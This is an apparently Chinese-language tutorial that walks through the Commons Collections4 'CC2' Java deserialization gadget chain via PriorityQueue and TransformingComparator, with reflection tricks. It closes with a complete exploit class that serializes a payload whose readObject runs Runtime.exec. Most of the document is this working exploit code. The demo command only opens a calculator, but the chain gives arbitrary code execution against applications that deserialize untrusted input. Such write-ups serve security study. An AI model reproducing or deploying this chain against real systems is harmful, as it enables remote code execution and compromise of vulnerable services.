环境准备

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
</dependencies>

jdk版本还是使用的jdk8u65

分析

1
2
3
4
5
6
7
8
Class c = Runtime.class;
Transformer[] t = new Transformer[] {
new ConstantTransformer(c),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);

开头的链子依旧不变,而调用transform的类变了

1
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

img

会执行两次,但终归会执行命令

1
2
3
PriorityQueue priorityQueue = new PriorityQueue(1); //在下面对应
priorityQueue.add(1);
priorityQueue.add(2);

再来看是谁调用了compare

img

在向前跟找到

img

在跟到

img

总的来说这边size要大于等于2才能对sift进行调用所以要add两个,但是调用了add就会出现一个问题

我们来看一下

img

img

imgimg

会提前调用并且执行,那我们想办法绕过让comparator为空就行了

img

传入一个整数即可。然后在使用反射将comparator的值赋值为priorityQueue,具体为

1
2
3
4
5
6
Class aClass = priorityQueue.getClass();
Field f = aClass.getDeclaredField("comparator");
f.setAccessible(true);
f.set(priorityQueue, transformingComparator);
seriliaze(priorityQueue);
unserilize("ser.bin");

然后在跟的话,谁调用了heapify正好是readobject,结束

img

整体exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.AbstractQueue;
import java.util.PriorityQueue;

public class cc2 {
public static void main(String[] args) throws Exception {
Class c = Runtime.class;
Transformer[] t = new Transformer[] {
new ConstantTransformer(c),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class aClass = priorityQueue.getClass();
Field f = aClass.getDeclaredField("comparator");
f.setAccessible(true);
f.set(priorityQueue, transformingComparator);
seriliaze(priorityQueue);
unserilize("ser.bin");


// Method getDeclaredMethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(c);
// Object invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getDeclaredMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(invoke);

// Method getRuntime = c.getDeclaredMethod("getRuntime",null);
// getRuntime.setAccessible(true);
// Object o = getRuntime.invoke(null,null);
// Method exec = c.getDeclaredMethod("exec",String.class);
// exec.setAccessible(true);
// exec.invoke(o,"calc");
}
public static void seriliaze(Object o) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}
public static Object unserilize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}